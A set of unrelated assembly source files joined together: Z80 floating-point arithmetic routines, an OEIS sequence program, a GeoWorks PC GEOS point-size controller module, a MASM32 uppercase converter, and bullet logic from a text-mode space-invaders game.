SQUARE: CALL COPY
CALL FMUL
PUSH5: POP IX ;RETURN ADDRESS
PUSH BC
PUSH HL
EXX
PUSH HL
EXX
JP (IX) ;"RETURN"
;
;POP5 - POP DED'E'B OFF STACK.
; Destroys: A,B,D,E,D',E',SP,IX
;
POP5: POP IX ;RETURN ADDRESS
EXX
POP DE
EXX
POP DE
LD A,C
POP BC
LD B,C
LD C,A
JP (IX) ;"RETURN"
;
;RATIO - Calculate (X-1)/(X+1)
; Inputs: X in HLH'L'C
; Outputs: (X-1)/(X+1) in HLH'L'C
; Destroys: Everything except IY,SP,I
;
RATIO: CALL PUSH5 ;SAVE X
CALL DONE
CALL FADD
CALL POP5 ;RESTORE X
CALL PUSH5 ;SAVE X+1
CALL SWAP
CALL DONE
CALL FSUB
CALL POP5 ;RESTORE X+1
JP FDIV
;
;POLY - Evaluate a polynomial.
; Inputs: X in HLH'L'C and also stored at (SP+2)
; Polynomial coefficients follow call.
; Outputs: Result in HLH'L'C
; Destroys: Everything except IY,SP,I
;Routine terminates on finding a coefficient >=1.
;Note: The last coefficient is EXECUTED on return
; so must contain only innocuous bytes!
;
POLY: LD IX,2
ADD IX,SP
EX (SP),IX
CALL DLOAD5 ;FIRST COEFFICIENT
POLY1: CALL FMUL
LD DE,5
ADD IX,DE
CALL DLOAD5 ;NEXT COEFFICIENT
EX (SP),IX
INC B
DEC B ;TEST
JP M,FADD
CALL FADD
CALL DLOAD5 ;X
EX (SP),IX
JR POLY1
;
;POWR10 - Calculate power of ten.
; Inputs: A=power of 10 required (A<128)
; A=binary exponent to be exceeded (A>=128)
; Outputs: DED'E'B = result
; A = actual power of ten returned
; Destroys: A,B,D,E,A',D',E',F,F'
;
POWR10: INC A
EX AF,AF'
PUSH HL
EXX
PUSH HL
EXX
CALL DONE
CALL SWAP
XOR A
POWR11: EX AF,AF'
DEC A
JR Z,POWR14 ;EXIT TYPE 1
JP P,POWR13
CP C
JR C,POWR14 ;EXIT TYPE 2
INC A
POWR13: EX AF,AF'
INC A
SET 7,H
CALL X5
JR NC,POWR12
EX AF,AF'
CALL D2C
EX AF,AF'
POWR12: EX AF,AF'
CALL C,ADD1 ;ROUND UP
INC C
JP M,POWR11
JP OFLOW
POWR14: CALL SWAP
RES 7,D
EXX
POP HL
EXX
POP HL
EX AF,AF'
RET
;
;DIVA, DIVB - DIVISION PRIMITIVE.
; Function: D'E'DE = H'L'HLD'E'DE / B'C'BC
; Remainder in H'L'HL
; Inputs: A = loop counter (normally -32)
; Destroys: A,D,E,H,L,D',E',H',L',F
;
DIVA: OR A ;CLEAR CARRY
DIV0: SBC HL,BC ;DIVIDEND-DIVISOR
EXX
SBC HL,BC
EXX
JR NC,DIV1
ADD HL,BC ;DIVIDEND+DIVISOR
EXX
ADC HL,BC
EXX
DIV1: CCF
DIVC: RL E ;SHIFT RESULT INTO DE
RL D
EXX
RL E
RL D
EXX
INC A
RET P
DIVB: ADC HL,HL ;DIVIDEND*2
EXX
ADC HL,HL
EXX
JR NC,DIV0
OR A
SBC HL,BC ;DIVIDEND-DIVISOR
EXX
SBC HL,BC
EXX
SCF
JP DIVC
;
;MULA, MULB - MULTIPLICATION PRIMITIVE.
; Function: H'L'HLD'E'DE = B'C'BC * D'E'DE
; Inputs: A = loop counter (usually -32)
; H'L'HL = 0
; Destroys: D,E,H,L,D',E',H',L',A,F
;
MULA: OR A ;CLEAR CARRY
MUL0: EXX
RR D ;MULTIPLIER/2
RR E
EXX
RR D
RR E
JR NC,MUL1
ADD HL,BC ;ADD IN MULTIPLICAND
EXX
ADC HL,BC
EXX
MUL1: INC A
RET P
MULB: EXX
RR H ;PRODUCT/2
RR L
EXX
RR H
RR L
JP MUL0
;
;SQRA, SQRB - SQUARE ROOT PRIMITIVES
; Function: B'C'BC = SQR (D'E'DE)
; Inputs: A = loop counter (normally -31)
; B'C'BCH'L'HL initialised to 0
; Destroys: A,B,C,D,E,H,L,B',C',D',E',H',L',F
;
SQR1: SBC HL,BC
EXX
SBC HL,BC
EXX
INC C
JR NC,SQR2
DEC C
ADD HL,BC
EXX
ADC HL,BC
EXX
DEC C
SQR2: INC A
RET P
SQRA: SLA C
RL B
EXX
RL C
RL B
EXX
INC C
SLA E
RL D
EXX
RL E
RL D
EXX
ADC HL,HL
EXX
ADC HL,HL
EXX
SLA E
RL D
EXX
RL E
RL D
EXX
ADC HL,HL
EXX
ADC HL,HL
EXX
JP NC,SQR1
SQR3: OR A
SBC HL,BC
EXX
SBC HL,BC
EXX
INC C
JP SQR2
;
SQRB: ADD HL,HL
EXX
ADC HL,HL
EXX
JR C,SQR3
INC A
INC C
SBC HL,BC
EXX
SBC HL,BC
EXX
RET NC
ADD HL,BC
EXX
ADC HL,BC
EXX
DEC C
RET
;
DIGITQ: LD A,(IX)
CP '9'+1
CCF
RET C
CP '0'
RET
;
SIGNQ: LD A,(IX)
INC IX
CP ' '
JR Z,SIGNQ
CP '+'
RET Z
CP '-'
RET Z
DEC IX
RET
;
ENDIF
|
; A245176: a(n) = 2*a(n-1)+(n-2)*a(n-2)-(n-1)*a(n-3) with initial terms (1,2,4).
; 1,2,4,8,18,44,120,352,1116,3736,13232,48928,189080,757584,3148064,13497600,59704336,271503648,1268817472,6078518912,29837183008,149789875904,768674514816,4026518397440,21518708975040,117199152735616,650184360936192,3670861106911744
mov $2,$0
add $2,1
mov $9,$0
lpb $2,1
mov $0,$9
sub $2,1
sub $0,$2
mov $3,8
mov $4,$8
mov $6,8
lpb $0,1
mov $5,$4
mov $7,$0
sub $0,1
mov $4,$3
mul $7,$5
add $6,$7
mov $3,$6
lpe
sub $3,6
div $3,8
add $3,1
add $1,$3
lpe
|
COMMENT @-----------------------------------------------------------------------
Copyright (c) GeoWorks 1991 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: Text Library
FILE: uiPointSizeControl.asm
ROUTINES:
Name Description
---- -----------
GLB PointSizeControlClass Style menu object
REVISION HISTORY:
Name Date Description
---- ---- -----------
Doug 7/91 Initial version
DESCRIPTION:
This file contains routines to implement PointSizeControlClass
$Id: uiPointSize.asm,v 1.1 97/04/07 11:16:46 newdeal Exp $
-------------------------------------------------------------------------------@
;---------------------------------------------------
TextClassStructures segment resource
PointSizeControlClass ;declare the class record
TextClassStructures ends
;---------------------------------------------------
if not NO_CONTROLLERS
TextControlCommon segment resource
;---------------------------------------------------
COMMENT @----------------------------------------------------------------------
MESSAGE: PointSizeControlGetInfo --
MSG_GEN_CONTROL_GET_INFO for PointSizeControlClass
DESCRIPTION: Return group
PASS:
*ds:si - instance data
es - segment of PointSizeControlClass
ax - The message
cx:dx - GenControlBuildInfo structure to fill in
RETURN:
none
DESTROYED:
bx, si, di, ds, es (message handler)
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 10/31/91 Initial version
------------------------------------------------------------------------------@
PointSizeControlGetInfo method dynamic PointSizeControlClass,
MSG_GEN_CONTROL_GET_INFO
mov si, offset PSC_dupInfo
GOTO CopyDupInfoCommon
PointSizeControlGetInfo endm
PSC_dupInfo GenControlBuildInfo <
mask GCBF_SUSPEND_ON_APPLY, ; GCBI_flags
PSC_IniFileKey, ; GCBI_initFileKey
PSC_gcnList, ; GCBI_gcnList
length PSC_gcnList, ; GCBI_gcnCount
PSC_notifyTypeList, ; GCBI_notificationList
length PSC_notifyTypeList, ; GCBI_notificationCount
PSCName, ; GCBI_controllerName
handle PointSizeControlUI, ; GCBI_dupBlock
PSC_childList, ; GCBI_childList
length PSC_childList, ; GCBI_childCount
PSC_featuresList, ; GCBI_featuresList
length PSC_featuresList, ; GCBI_featuresCount
PSC_DEFAULT_FEATURES, ; GCBI_features
handle PointSizeControlToolboxUI, ; GCBI_toolBlock
PSC_toolList, ; GCBI_toolList
length PSC_toolList, ; GCBI_toolCount
PSC_toolFeaturesList, ; GCBI_toolFeaturesList
length PSC_toolFeaturesList, ; GCBI_toolFeaturesCount
PSC_DEFAULT_TOOLBOX_FEATURES> ; GCBI_toolFeatures
; Table used to build moniker string for the normal UI. These contain the
; keyboard mnemonic and the prefix (e.g., "1. ") for the moniker.
PSC_namePrefixTable label lptr
lptr SizeEntry1Moniker
lptr SizeEntry2Moniker
lptr SizeEntry3Moniker
lptr SizeEntry4Moniker
lptr SizeEntry5Moniker
lptr SizeEntry6Moniker
lptr SizeEntry7Moniker
lptr SizeEntry8Moniker
lptr SizeEntry9Moniker
if FULL_EXECUTE_IN_PLACE
ControlInfoXIP segment resource
endif
PSC_IniFileKey char "pointSize", 0
PSC_gcnList GCNListType \
<MANUFACTURER_ID_GEOWORKS, GAGCNLT_APP_TARGET_NOTIFY_TEXT_CHAR_ATTR_CHANGE>,
<MANUFACTURER_ID_GEOWORKS, GAGCNLT_APP_TARGET_NOTIFY_POINT_SIZE_CHANGE>
PSC_notifyTypeList NotificationType \
<MANUFACTURER_ID_GEOWORKS, GWNT_TEXT_CHAR_ATTR_CHANGE>,
<MANUFACTURER_ID_GEOWORKS, GWNT_POINT_SIZE_CHANGE>
;---
PSC_childList GenControlChildInfo \
<offset SizesList, mask PSCF_9 or mask PSCF_10 or mask PSCF_12 or \
mask PSCF_14 or mask PSCF_18 or mask PSCF_24 or \
mask PSCF_36 or mask PSCF_54 or mask PSCF_72, 0>,
<offset SmallerTrigger, mask PSCF_SMALLER,
mask GCCF_IS_DIRECTLY_A_FEATURE>,
<offset LargerTrigger, mask PSCF_LARGER,
mask GCCF_IS_DIRECTLY_A_FEATURE>,
<offset CustomSizeBox, mask PSCF_CUSTOM_SIZE,
mask GCCF_IS_DIRECTLY_A_FEATURE>
; Careful, this table is in the *opposite* order as the record which
; it corresponds to.
PSC_featuresList GenControlFeaturesInfo \
<offset CustomSizeBox, CustomSizeName, 0>,
<offset LargerTrigger, LargerName, 0>,
<offset SmallerTrigger, SmallerName, 0>,
<offset Size72Entry, Size72Name, 0>,
<offset Size54Entry, Size54Name, 0>,
<offset Size36Entry, Size36Name, 0>,
<offset Size24Entry, Size24Name, 0>,
<offset Size18Entry, Size18Name, 0>,
<offset Size14Entry, Size14Name, 0>,
<offset Size12Entry, Size12Name, 0>,
<offset Size10Entry, Size10Name, 0>,
<offset Size9Entry, Size9Name, 0>
;---
PSC_toolList GenControlChildInfo \
<offset SizesToolList, mask PSCTF_9 or mask PSCTF_10 or \
mask PSCTF_12 or mask PSCTF_14 \
or mask PSCTF_18 or mask PSCTF_24 or mask PSCTF_36 \
or mask PSCTF_54 or mask PSCTF_72, 0>,
<offset LargerToolTrigger, mask PSCTF_LARGER,
mask GCCF_IS_DIRECTLY_A_FEATURE>,
<offset SmallerToolTrigger, mask PSCTF_SMALLER,
mask GCCF_IS_DIRECTLY_A_FEATURE>
; Careful, this table is in the *opposite* order as the record which
; it corresponds to.
PSC_toolFeaturesList GenControlFeaturesInfo \
<offset LargerToolTrigger, LargerName, 0>,
<offset SmallerToolTrigger, SmallerName, 0>,
<offset Size72ToolEntry, Size72Name, 0>,
<offset Size54ToolEntry, Size54Name, 0>,
<offset Size36ToolEntry, Size36Name, 0>,
<offset Size24ToolEntry, Size24Name, 0>,
<offset Size18ToolEntry, Size18Name, 0>,
<offset Size14ToolEntry, Size14Name, 0>,
<offset Size12ToolEntry, Size12Name, 0>,
<offset Size10ToolEntry, Size10Name, 0>,
<offset Size9ToolEntry, Size9Name, 0>
if FULL_EXECUTE_IN_PLACE
ControlInfoXIP ends
endif
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PointSizeControlTweakDuplicatedUI
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Sets the monikers for the point sizes. Assigns the prefix
(usually "1. ", "2. ", etc) dynamically so that no matter
what point sizes are enabled, the item group is numbered
sequentially (without any gaps).
CALLED BY: MSG_GEN_CONTROL_TWEAK_DUPLICATED_UI
PASS: *ds:si = PointSizeControlClass object
ds:di = PointSizeControlClass instance data
ds:bx = PointSizeControlClass object (same as *ds:si)
es = segment of PointSizeControlClass
ax = message #
cx = duplicated block handle
dx = features mask
RETURN: Nothing
DESTROYED: ax, cx
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
JimG 7/ 6/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
PointSizeControlTweakDuplicatedUI method dynamic PointSizeControlClass,
MSG_GEN_CONTROL_TWEAK_DUPLICATED_UI
; Check for trivial case.. no font sizes at all
test dx, mask PSCF_9 or mask PSCF_10 or mask PSCF_12 or \
mask PSCF_14 or mask PSCF_18 or mask PSCF_24 or \
mask PSCF_36 or mask PSCF_54 or mask PSCF_72
jz noTweakingNecessary
; Define locals after code above because the "push cx" local will
; happen before the .enter and will then not be popped.
duplicatedBlockHandle local hptr push cx
stringSegment local word
visMonikerChunk local lptr
replaceFrame local ReplaceVisMonikerFrame
featureListObject local lptr
featureListName local lptr ; suffix of moniker
; inherited by called procedure
ForceRef duplicatedBlockHandle
ForceRef featureListObject
ForceRef featureListName
.enter
; Allocate an lmem block in the point size control object that
; will be used to copy vis moniker's from. Allocate it here for
; some arbitrary size and it will be resized inside the loop.
mov al, mask OCF_IGNORE_DIRTY ; this is a temporary chunk
mov cx, 32
call LMemAlloc
mov ss:[visMonikerChunk], ax
; Set up ReplaceVisMonikerFrame
mov ss:[replaceFrame].RVMF_source.offset, ax
mov ax, ds:[LMBH_handle]
mov ss:[replaceFrame].RVMF_source.handle, ax
mov ss:[replaceFrame].RVMF_sourceType, VMST_OPTR
mov ss:[replaceFrame].RVMF_dataType, VMDT_VIS_MONIKER
clr ss:[replaceFrame].RVMF_length
mov ss:[replaceFrame].RVMF_updateMode, VUM_MANUAL
; Lock down string block and store segment.
mov bx, handle ControlStrings
call MemLock
mov ss:[stringSegment], ax
; Calculate offset to last item of interest in features table.
; Do byte multiply to not destroy dx
mov al, offset PSCF_9
mov ah, size GenControlFeaturesInfo
mul ah
; cs:ax = ptr to current element in features list
; (or, in FXIP, ControlInfoXIP:ax = ptr to current element in features
; list)
; cs:bx = ptr to current element in name prefix table
; cl = amount to shift features mask to the LEFT by to check sign bit
; ch = last feature bit to check
add ax, offset PSC_featuresList
mov bx, offset PSC_namePrefixTable
mov cx, ((((size PSCFeatures) * 8 - 1) - offset PSCF_72) shl 8) \
or ((size PSCFeatures) * 8 - 1) - offset PSCF_9
featureLoop:
mov di, dx
shl di, cl
jns continueLoop
call PSCCreateAndReplaceMoniker
continueLoop:
inc cl ; change shift amount
sub ax, size GenControlFeaturesInfo ; advance ax
cmp cl, ch ; check to see if done
jbe featureLoop
; Unlock strings block
mov bx, handle ControlStrings
call MemUnlock
; Free temporary LMem chunk
mov ax, ss:[visMonikerChunk]
call LMemFree
.leave
noTweakingNecessary:
ret
PointSizeControlTweakDuplicatedUI endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PSCCreateAndReplaceMoniker
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Utility routine used by PointSizeControlTweakDuplicatedUI.
Actually creates the vis moniker and send a message to the
object in the duplicated block that needs the new moniker.
CALLED BY: PointSizeControlTweakDuplicatedUI
PASS: *ds:si = PointSizeControlClass object
ax = offset of current element in features list
bx = offset of current element in name prefix table
ss:bp = inherited local variables from
PointSizeControlTweakDuplicatedUI
RETURN: *ds:si = PointSizeControlClass object (may have been fixed)
bx = updated offset into name prefix table
DESTROYED: es, di
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
JimG 7/ 7/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
PSCCreateAndReplaceMoniker proc near
uses si, cx
.enter inherit PointSizeControlTweakDuplicatedUI
; We need to ReAlloc our temporary chunk used in creating the vis
; moniker. To do this, we need the size of the prefix moniker and
; the size of the suffix (featureName) string. So, for this first
; part, we leave ds pointing to the controller object because that
; is where the new chunk is. After we ReAlloc, we exchange ds and
; es so that the movsw works correctly.
; load es:si with pointer to prefix moniker in string resource
mov es, ss:[stringSegment]
mov si, cs:[bx] ; get handle to prefix moniker
mov si, es:[si] ; es:si = source (prefx monk)
ChunkSizePtr es, si, cx ; cx = size of prefix moniker
; ReAlloc the lmem chunk used for the new moniker to the total of
; the prefix moniker size and the suffix string size
push ax, bx, cx
; Get the size of the suffix string. To get this information, we
; need to go through the feature list table. While were there,
; might as well keep around the offset to the chunk of the string
; (we'll need it later) and keep the offset to the object.
; In both FXIP and non-FXIP, we set es to be the segment to
; reference for the table. This makes the code easier to read.
NOFXIP< segmov es, cs, bx >
NOFXIP< mov bx, ax >
FXIP< push ax ; offset into features list>
FXIP< mov bx, handle ControlInfoXIP ; lock down FXIP block >
FXIP< call MemLock ; containing the list >
FXIP< mov es, ax ; es=FXIP segment >
FXIP< pop bx ; put offset into bx >
mov di, es:[bx].GCFI_object
mov ss:[featureListObject], di
; get the offset to the name of the feature (which is our suffix).
; We know that this is in the string resource so we don't need the
; handle.
mov di, es:[bx].GCFI_name.offset
mov ss:[featureListName], di
FXIP< mov bx, handle ControlInfoXIP ; unlock FXIP block >
FXIP< call MemUnlock >
mov es, ss:[stringSegment] ; es = string segment >
; *es:di = suffix string (feature name string)
ChunkSizeHandle es, di, bx ; bx = size of suffix string
add cx, bx ; cx = total size
; ReAlloc the chunk
mov ax, ss:[visMonikerChunk]
call LMemReAlloc ; *ds:ax = the chunk
pop ax, bx, cx
; load ds:di with pointer to our temporary chunk for creating the
; vis moniker.
mov di, ss:[visMonikerChunk]
mov di, ds:[di] ; ds:di = new chunk
push di ; save beginning of new chunk
; Setup the segments for copying
segxchg ds, es ; ds:si = source (prefix monikr)
; es:di = new chunk
; Copy the prefix moniker into our chunk.
shr cx, 1 ; copy words
rep movsw
jnc doneWithPrefixCopy
movsb ; copy odd byte, if any
doneWithPrefixCopy:
pop di ; es:di = start of new chunk
; which is now a VisMoniker
clr es:[di].VM_width
add di, VM_data + VMT_text ; es:di = text moniker
; We now need to append the suffix (featureName) string to our chunk.
; Search in moniker string to find zero byte/word.
push ax
clr ax
mov cx, -1
SBCS < repne scasb ; find null byte >
DBCS < repne scasw ; find null word >
pop ax
; scasb/w finish one byte/word past the match.. back up to overwrite
; zero byte/word.
dec di
DBCS < dec di >
; Set ds:si to point to suffix string (which is the same as the name
; string stored in the GenControlFeaturesInfo list).
mov si, ss:[featureListName]
mov si, ds:[si] ; dereference chunk handle
; Copy the suffix string into the new vis moniker.
push ax
; ds:si = suffix string
; es:di = end of the string in our new vis moniker
LocalCopyString
segmov ds, es, si ; ds to PointSizeControl block
; to be fixed up by ObjMessage
; Send a message to the actual item in the new object block that
; needs the moniker we just created. The replace frame argument for
; this message was set up in calling function.
push bx, cx, dx, bp
mov si, ss:[featureListObject] ; GCFI_object offset
mov bx, ss:[duplicatedBlockHandle]
lea bp, ss:[replaceFrame]
mov dx, size ReplaceVisMonikerFrame
mov ax, MSG_GEN_REPLACE_VIS_MONIKER
mov di, mask MF_CALL or mask MF_STACK or mask MF_FIXUP_DS
call ObjMessage
pop bx, cx, dx, bp
pop ax
inc bx ; increment pointer to prefix
inc bx ; monikers by 2 (size lptr)
.leave
ret
PSCCreateAndReplaceMoniker endp
COMMENT @----------------------------------------------------------------------
MESSAGE: PointSizeControlSetPointSize -- MSG_PSC_SET_POINT_SIZE
for PointSizeControlClass
DESCRIPTION: Handle a change in the point size
PASS:
*ds:si - instance data
es - segment of PointSizeControlClass
ax - The message
MSG_PSC_SET_POINT_SIZE_FROM_LIST:
cx - size
MSG_PSC_SET_POINT_SIZE:
dx.cx -- size
RETURN:
DESTROYED:
bx, si, di, ds, es (message handler)
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 10/31/91 Initial version
------------------------------------------------------------------------------@
PointSizeControlSetPointSizeFromList method PointSizeControlClass,
MSG_PSC_SET_POINT_SIZE_FROM_LIST
mov dx, cx
clr cx ;size in dx.cx
FALL_THRU PointSizeControlSetPointSize
PointSizeControlSetPointSizeFromList endm
PointSizeControlSetPointSize method PointSizeControlClass,
MSG_PSC_SET_POINT_SIZE
mov ax, MSG_VIS_TEXT_SET_POINT_SIZE
FALL_THRU SendMeta_AX_DXCX_Common
PointSizeControlSetPointSize endm
;---
SendMeta_AX_DXCX_Common proc far
pushdw dxcx ;point size
clr dx
push dx ;range.end.high
push dx ;range.end.low
mov bx, VIS_TEXT_RANGE_SELECTION
push bx ;range.start.high
push dx ;range.start.low
mov bp, sp
mov dx, size VisTextSetPointSizeParams
clr bx
clr di
call GenControlOutputActionStack
add sp, size VisTextSetPointSizeParams
ret
SendMeta_AX_DXCX_Common endp
COMMENT @----------------------------------------------------------------------
MESSAGE: PointSizeControlSmallerPointSize -- MSG_PSC_SMALLER_POINT_SIZE
for PointSizeControlClass
DESCRIPTION: ...
PASS:
*ds:si - instance data
es - segment of PointSizeControlClass
ax - The message
RETURN:
DESTROYED:
bx, si, di, ds, es (message handler)
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 12/ 5/91 Initial version
------------------------------------------------------------------------------@
PointSizeControlSmallerPointSize method dynamic PointSizeControlClass,
MSG_PSC_SMALLER_POINT_SIZE
mov ax, MSG_VIS_TEXT_SET_SMALLER_POINT_SIZE
mov cx, MIN_POINT_SIZE
GOTO SendAX_CX_Always_Common
PointSizeControlSmallerPointSize endm
;---
PointSizeControlLargerPointSize method dynamic PointSizeControlClass,
MSG_PSC_LARGER_POINT_SIZE
mov ax, MSG_VIS_TEXT_SET_LARGER_POINT_SIZE
mov cx, MAX_POINT_SIZE
FALL_THRU SendAX_CX_Always_Common
PointSizeControlLargerPointSize endm
SendAX_CX_Always_Common proc far
GOTO SendMeta_AX_CX_Common
SendAX_CX_Always_Common endp
COMMENT @----------------------------------------------------------------------
MESSAGE: PointSizeControlUpdateUI -- MSG_GEN_CONTROL_UPDATE_UI
for PointSizeControlClass
DESCRIPTION: Handle notification of attributes change
PASS:
*ds:si - instance data
es - segment of PointSizeControlClass
ax - The message
ss:bp - GenControlUpdateUIParams
RETURN:
DESTROYED:
bx, si, di, ds, es (message handler)
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 11/12/91 Initial version
------------------------------------------------------------------------------@
PointSizeControlUpdateUI method dynamic PointSizeControlClass,
MSG_GEN_CONTROL_UPDATE_UI
; get notification data
push ds
mov bx, ss:[bp].GCUUIP_dataBlock
call MemLock
mov ds, ax
cmp ss:[bp].GCUUIP_changeType, GWNT_TEXT_CHAR_ATTR_CHANGE
jz textNotify
movdw cxax, ds:NPSC_pointSize
clr dx
mov dl, ds:NPSC_diffs
jmp common
textNotify:
clr al
mov cx, ds:VTNCAC_charAttr.VTCA_pointSize.WBF_int
mov ah, ds:VTNCAC_charAttr.VTCA_pointSize.WBF_frac
mov dx, ds:VTNCAC_charAttrDiffs.VTCAD_diffs
and dx, mask VTCAF_MULTIPLE_POINT_SIZES
common:
call MemUnlock
pop ds
; cxax = size
push ax
mov ax, ss:[bp].GCUUIP_features
mov bx, ss:[bp].GCUUIP_childBlock
test ax, mask PSCF_9 or mask PSCF_10 or mask PSCF_12 or \
mask PSCF_14 \
or mask PSCF_18 or mask PSCF_24 or mask PSCF_36 \
or mask PSCF_54 or mask PSCF_72
jz noList
mov si, offset SizesList
call SendListSetExcl
noList:
; set custom size box
test ax, mask PSCF_CUSTOM_SIZE
pop ax ;value to pass in cx.ax
jz noCustom
mov si, offset PointSizeDistance
call SendRangeSetWWFixedValue
noCustom:
; set toolbox
test ss:[bp].GCUUIP_toolboxFeatures, mask PSCTF_9 or \
mask PSCTF_10 or mask PSCTF_12 or mask PSCTF_14 \
or mask PSCTF_18 or mask PSCTF_24 or mask PSCTF_36 \
or mask PSCTF_54 or mask PSCTF_72
jz noToolbox
mov bx, ss:[bp].GCUUIP_toolBlock
mov si, offset SizesToolList
call SendListSetExcl
noToolbox:
ret
PointSizeControlUpdateUI endm
TextControlCommon ends
endif ; not NO_CONTROLLERS
|
.486
.model flat, stdcall
option casemap :none
include windows.inc ; always first
include masm32.inc
include gdi32.inc
include user32.inc
include kernel32.inc
includelib masm32.lib
includelib gdi32.lib
includelib user32.lib
includelib kernel32.lib
.data
szHelloWorld db "input:",9,0
szByeWorld db "output:",9,0
endl db 13,10,0
buf db 300 dup(?),
.code
MainProc proc
invoke StdOut, addr szHelloWorld
invoke StdIn, addr buf, 300
invoke StdOut, addr szByeWorld
xor ecx,ecx
_while:
cmp [buf+ecx],97
jl _next
cmp [buf+ecx],122
jg _next
sub [buf+ecx],32
_next:
inc ecx
cmp [buf+ecx],0
jnz _while
invoke StdOut, addr buf
invoke StdIn, addr buf, 300
invoke ExitProcess, 0
MainProc endp
end MainProc
|
; ******************************************************
; * move
; *****************************************************
move_bullets:
cmp byte [bullets_move_cycle], BULLETS_MOVE_CYCLE ; only move the bullets every 28 frames
je .move
inc byte [bullets_move_cycle] ; increase the counter
jmp .ret
.move:
push di
mov byte [bullets_move_cycle], 0 ; reset the counter
; delete bullets that are exploded or out of the screen
mov di, _check_and_delete_bullet
call _iterate_bullets
; move all bullets
mov di, _move_bullet
call _iterate_bullets
pop di
.ret:
ret
; move a single bullet
; SI bullet pointer
_move_bullet:
push ax
push dx
mov al, [si] ; load status
mov dx, [si + BULLET_POSITION_OFFSET] ; load position
cmp al, BULLET_STATUS_PLAYER
je .player
cmp al, BULLET_STATUS_INVADER
je .invader
jmp .done
.player:
mov al, MOVE_UP
jmp .move
.invader:
mov al, MOVE_DOWN
.move:
call move
mov [si + BULLET_POSITION_OFFSET], dx ; save new position
.done:
pop dx
pop ax
ret
; delete bullets that are out of the screen or exploded
; SI bullet pointer
_check_and_delete_bullet:
push ax
push dx
mov al, [si] ; load status
cmp al, ICON_EXPLOSION_BULLET
je .remove
mov dx, [si + BULLET_POSITION_OFFSET] ; load position
cmp dh, 0
je .remove
cmp dh, GAME_HEIGHT - 1
je .remove
jmp .done
.remove:
call _remove_bullet ; remove the bullet
sub si, BULLET_SIZE ; reset loop to former bullet -> next loop is the next
.done:
pop dx
pop ax
ret
; ******************************************************
; * render all bullets
; *****************************************************
; render all bullets
render_bullets:
push di
mov di, _render_bullet
call _iterate_bullets
pop di
ret
; render a single bullet
; SI bullet pointer
_render_bullet:
push ax
push dx
mov al, [si] ; load status
mov dx, [si + BULLET_POSITION_OFFSET] ; load position
cmp al, ICON_EXPLOSION_BULLET
jne .set_bullet
mov bl, FG_GREEN
add bl, BG_BLACK
jmp .print
.set_bullet:
mov al, ICON_BULLET ; set bullet
mov bl, FG_RED
add bl, BG_BLACK
.print:
call print_object
pop dx
pop ax
ret
; ******************************************************
; * check for collisions
; *****************************************************
; check for collisions
; DX position of the object
check_bullet_collisions:
mov di, _check_bullet_collision
call _iterate_bullets
.done:
ret
; check for a collision between a bullet and an object
; DX object position
; SI bullet pointer
_check_bullet_collision:
push ax
mov ax, [si + BULLET_POSITION_OFFSET] ; load position
cmp ax, dx
jne .done
mov dx, INVALID_STATE ; set position to invalid state
mov byte [si], ICON_EXPLOSION_BULLET ; set bullet status to explosion
.done:
pop ax
ret
; ******************************************************
; * create new bullets
; *****************************************************
; let the player shoot a bullet
create_player_bullet:
push ax
mov al, BULLET_STATUS_PLAYER
call _create_bullet
pop ax
ret
; let an invader shoot a bullet
create_invader_bullet:
push ax
mov al, BULLET_STATUS_INVADER
call _create_bullet
pop ax
ret
; create a new bullet
; DX position of creator
; AL status
_create_bullet:
push dx
push di
cmp al, BULLET_STATUS_PLAYER
je .player
.invader:
inc dh ; adjust the creator position
jmp .create
.player:
dec dh ; adjust the creator position
.create:
mov di, [bullet_list_end]
mov [di], al ; save the status
mov [di + BULLET_POSITION_OFFSET], dx ; save the position
add di, BULLET_SIZE
mov byte [di], 0x00 ; set the end of the list
mov [bullet_list_end], di ; save the list end
.done:
pop di
pop dx
ret
; ******************************************************
; * remove a bullet
; *****************************************************
; delete the bullet at SI
_remove_bullet:
push ax
push si
.loop:
cmp si, [bullet_list_end]
je .done
mov al, [si + BULLET_SIZE] ; copy the status
mov [si], al
mov ax, [si + BULLET_SIZE + BULLET_POSITION_OFFSET] ; copy the position
mov [si + BULLET_POSITION_OFFSET], ax
add si, BULLET_SIZE ; set SI to the next bullet
jmp .loop
.done:
sub word [bullet_list_end], BULLET_SIZE ; adjust end of list
pop si
pop ax
ret
; ******************************************************
; * iterate bullets
; *****************************************************
; cycle through bullets
; DI address of the loop functions
; calls the function in DX with:
; SI bullet pointer
_iterate_bullets:
push si
mov si, bullet_list
.loop:
cmp si, [bullet_list_end]
je .done
call di
add si, 3
jmp .loop
.done:
pop si
ret
|
; A177176: Partial sums of round(n^2/13).
